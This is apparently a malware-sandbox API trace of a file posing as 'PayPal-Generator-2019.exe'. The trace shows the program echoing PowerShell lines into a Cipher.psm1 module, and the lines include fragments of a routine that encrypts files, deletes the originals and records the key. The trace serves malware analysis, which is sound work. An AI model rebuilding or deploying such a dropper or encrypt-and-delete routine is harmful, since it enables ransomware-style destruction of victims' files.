0 [0049.357] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d864 | out: _Buffer=" $CryptoStream.Close() \r\n") returned 41 [0049.357] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.357] GetFileType (hFile=0x3c) returned 0x1 [0049.357] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $CryptoStream.Close() \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $CryptoStream.Close() \r\n", lpUsedDefaultChar=0x0) returned 42 [0049.357] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0xe2d854, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d854*=0x29, lpOverlapped=0x0) returned 1 [0049.357] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.358] _close (_FileHandle=3) returned 0 [0049.358] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.358] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.358] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.358] GetFileType (hFile=0x3c) returned 0x2 [0049.358] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.358] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2da4c | out: lpMode=0xe2da4c) returned 1 [0049.359] _dup (_FileHandle=1) returned 3 [0049.359] _close (_FileHandle=1) returned 0 [0049.359] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.359] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2da2c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.359] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.359] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.359] GetFileType (hFile=0x3c) returned 0x1 [0049.359] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1031 [0049.359] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2da44*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2da44*=0) returned 0x1030 [0049.359] ReadFile (in: hFile=0x3c, lpBuffer=0xe2da48, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2da38, lpOverlapped=0x0 | out: lpBuffer=0xe2da48*, lpNumberOfBytesRead=0xe2da38*=0x1, lpOverlapped=0x0) returned 1 [0049.359] GetConsoleTitleW (in: lpConsoleTitle=0xe2d848, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.360] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.361] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.361] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.361] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.361] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.361] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.361] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.361] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.361] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.361] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.361] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d804 | out: _Buffer=" $FileStreamReader.Close() \r\n") returned 45 [0049.361] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.361] GetFileType (hFile=0x3c) returned 0x1 [0049.361] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamReader.Close() \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamReader.Close() \r\n", lpUsedDefaultChar=0x0) returned 46 [0049.361] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xe2d7f4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d7f4*=0x2d, lpOverlapped=0x0) returned 1 [0049.361] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.362] _close (_FileHandle=3) returned 0 [0049.362] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.362] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.362] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.362] GetFileType (hFile=0x3c) returned 0x2 [0049.362] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.362] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d9ec | out: lpMode=0xe2d9ec) returned 1 [0049.364] _dup (_FileHandle=1) returned 3 [0049.364] _close (_FileHandle=1) returned 0 [0049.364] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.364] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d9cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.364] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.364] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.364] GetFileType (hFile=0x3c) returned 0x1 [0049.364] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x105e [0049.364] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d9e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d9e4*=0) returned 0x105d [0049.364] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d9e8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d9d8, lpOverlapped=0x0 | out: lpBuffer=0xe2d9e8*, lpNumberOfBytesRead=0xe2d9d8*=0x1, lpOverlapped=0x0) returned 1 [0049.364] GetConsoleTitleW (in: lpConsoleTitle=0xe2d7e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.365] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.365] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.365] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.365] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.365] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.366] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.366] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.366] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.366] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.366] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.366] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d7a4 | out: _Buffer=" $FileStreamWriter.Close() \r\n") returned 45 [0049.366] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.366] GetFileType (hFile=0x3c) returned 0x1 [0049.366] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamWriter.Close() \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamWriter.Close() \r\n", lpUsedDefaultChar=0x0) returned 46 [0049.366] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xe2d794, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d794*=0x2d, lpOverlapped=0x0) returned 1 [0049.366] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.367] _close (_FileHandle=3) returned 0 [0049.367] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.367] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.367] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.367] GetFileType (hFile=0x3c) returned 0x2 [0049.367] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.367] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d98c | out: lpMode=0xe2d98c) returned 1 [0049.368] _dup (_FileHandle=1) returned 3 [0049.368] _close (_FileHandle=1) returned 0 [0049.368] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.368] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d96c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.368] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.368] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.368] GetFileType (hFile=0x3c) returned 0x1 [0049.368] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x108b [0049.368] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d984*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d984*=0) returned 0x108a [0049.368] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d988, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d978, lpOverlapped=0x0 | out: lpBuffer=0xe2d988*, lpNumberOfBytesRead=0xe2d978*=0x1, lpOverlapped=0x0) returned 1 [0049.368] GetConsoleTitleW (in: lpConsoleTitle=0xe2d788, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.370] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.370] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.370] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.370] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.370] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.370] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.370] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.370] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.371] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.371] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.371] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d744 | out: _Buffer=" if($RemoveSource){Remove-Item -LiteralPath $File.FullName} \r\n") returned 78 [0049.371] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.371] GetFileType (hFile=0x3c) returned 0x1 [0049.371] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($RemoveSource){Remove-Item -LiteralPath $File.FullName} \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($RemoveSource){Remove-Item -LiteralPath $File.FullName} \r\n", lpUsedDefaultChar=0x0) returned 79 [0049.371] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xe2d734, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d734*=0x4e, lpOverlapped=0x0) returned 1 [0049.371] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.375] _close (_FileHandle=3) returned 0 [0049.375] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.375] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.375] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.375] GetFileType (hFile=0x3c) returned 0x2 [0049.376] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.376] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d92c | out: lpMode=0xe2d92c) returned 1 [0049.377] _dup (_FileHandle=1) returned 3 [0049.377] _close (_FileHandle=1) returned 0 [0049.377] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.377] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d90c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.377] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.377] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.377] GetFileType (hFile=0x3c) returned 0x1 [0049.377] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10d9 [0049.377] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d924*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d924*=0) returned 0x10d8 [0049.378] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d928, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d918, lpOverlapped=0x0 | out: lpBuffer=0xe2d928*, lpNumberOfBytesRead=0xe2d918*=0x1, lpOverlapped=0x0) returned 1 [0049.378] GetConsoleTitleW (in: lpConsoleTitle=0xe2d728, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.378] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.378] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.378] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.378] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.379] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.379] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.379] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.379] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.379] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.379] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.379] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d6e4 | out: _Buffer=" $result = Get-Item $DestinationFile \r\n") returned 55 [0049.379] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.379] GetFileType (hFile=0x3c) returned 0x1 [0049.379] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.379] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result = Get-Item $DestinationFile \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result = Get-Item $DestinationFile \r\n", lpUsedDefaultChar=0x0) returned 56 [0049.379] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xe2d6d4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d6d4*=0x37, lpOverlapped=0x0) returned 1 [0049.379] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.380] _close (_FileHandle=3) returned 0 [0049.380] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.380] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.380] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.380] GetFileType (hFile=0x3c) returned 0x2 [0049.380] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.380] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d8cc | out: lpMode=0xe2d8cc) returned 1 [0049.381] _dup (_FileHandle=1) returned 3 [0049.381] _close (_FileHandle=1) returned 0 [0049.381] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.381] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d8ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.381] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.381] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.381] GetFileType (hFile=0x3c) returned 0x1 [0049.381] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1110 [0049.381] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d8c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d8c4*=0) returned 0x110f [0049.381] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d8c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d8b8, lpOverlapped=0x0 | out: lpBuffer=0xe2d8c8*, lpNumberOfBytesRead=0xe2d8b8*=0x1, lpOverlapped=0x0) returned 1 [0049.381] GetConsoleTitleW (in: lpConsoleTitle=0xe2d6c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.382] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.382] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.382] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.382] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.382] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.382] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.382] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.382] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.382] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.382] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.382] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d684 | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName \r\n") returned 104 [0049.382] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.382] GetFileType (hFile=0x3c) returned 0x1 [0049.382] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName \r\n", lpUsedDefaultChar=0x0) returned 105 [0049.382] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xe2d674, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d674*=0x68, lpOverlapped=0x0) returned 1 [0049.383] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.384] _close (_FileHandle=3) returned 0 [0049.384] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.384] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.384] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.384] GetFileType (hFile=0x3c) returned 0x2 [0049.384] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.384] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d86c | out: lpMode=0xe2d86c) returned 1 [0049.385] _dup (_FileHandle=1) returned 3 [0049.385] _close (_FileHandle=1) returned 0 [0049.385] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.385] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d84c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.386] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.386] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.386] GetFileType (hFile=0x3c) returned 0x1 [0049.386] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1178 [0049.386] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d864*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d864*=0) returned 0x1177 [0049.386] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d868, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d858, lpOverlapped=0x0 | out: lpBuffer=0xe2d868*, lpNumberOfBytesRead=0xe2d858*=0x1, lpOverlapped=0x0) returned 1 [0049.386] GetConsoleTitleW (in: lpConsoleTitle=0xe2d668, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.387] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.387] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.387] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.387] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.387] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.387] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.388] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.388] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.388] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.388] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.388] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d624 | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm \r\n") returned 99 [0049.388] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.388] GetFileType (hFile=0x3c) returned 0x1 [0049.388] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm \r\n", lpUsedDefaultChar=0x0) returned 100 [0049.388] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xe2d614, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d614*=0x63, lpOverlapped=0x0) returned 1 [0049.388] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.392] _close (_FileHandle=3) returned 0 [0049.392] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.392] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.392] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.392] GetFileType (hFile=0x3c) returned 0x2 [0049.392] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.393] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d80c | out: lpMode=0xe2d80c) returned 1 [0049.394] _dup (_FileHandle=1) returned 3 [0049.394] _close (_FileHandle=1) returned 0 [0049.394] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.394] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d7ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.395] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.395] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.395] GetFileType (hFile=0x3c) returned 0x1 [0049.395] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11db [0049.395] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d804*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d804*=0) returned 0x11da [0049.395] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d808, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d7f8, lpOverlapped=0x0 | out: lpBuffer=0xe2d808*, lpNumberOfBytesRead=0xe2d7f8*=0x1, lpOverlapped=0x0) returned 1 [0049.395] GetConsoleTitleW (in: lpConsoleTitle=0xe2d608, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.396] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.396] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.396] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.396] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.396] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.396] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.396] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.396] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.396] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.396] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.396] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d5c4 | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name Key -Value $Key \r\n") returned 87 [0049.396] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.396] GetFileType (hFile=0x3c) returned 0x1 [0049.396] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name Key -Value $Key \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name Key -Value $Key \r\n", lpUsedDefaultChar=0x0) returned 88 [0049.396] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xe2d5b4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d5b4*=0x57, lpOverlapped=0x0) returned 1 [0049.396] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.397] _close (_FileHandle=3) returned 0 [0049.397] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.397] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.397] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.397] GetFileType (hFile=0x3c) returned 0x2 [0049.397] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.397] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d7ac | out: lpMode=0xe2d7ac) returned 1 [0049.398] _dup (_FileHandle=1) returned 3 [0049.398] _close (_FileHandle=1) returned 0 [0049.398] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.398] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d78c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c 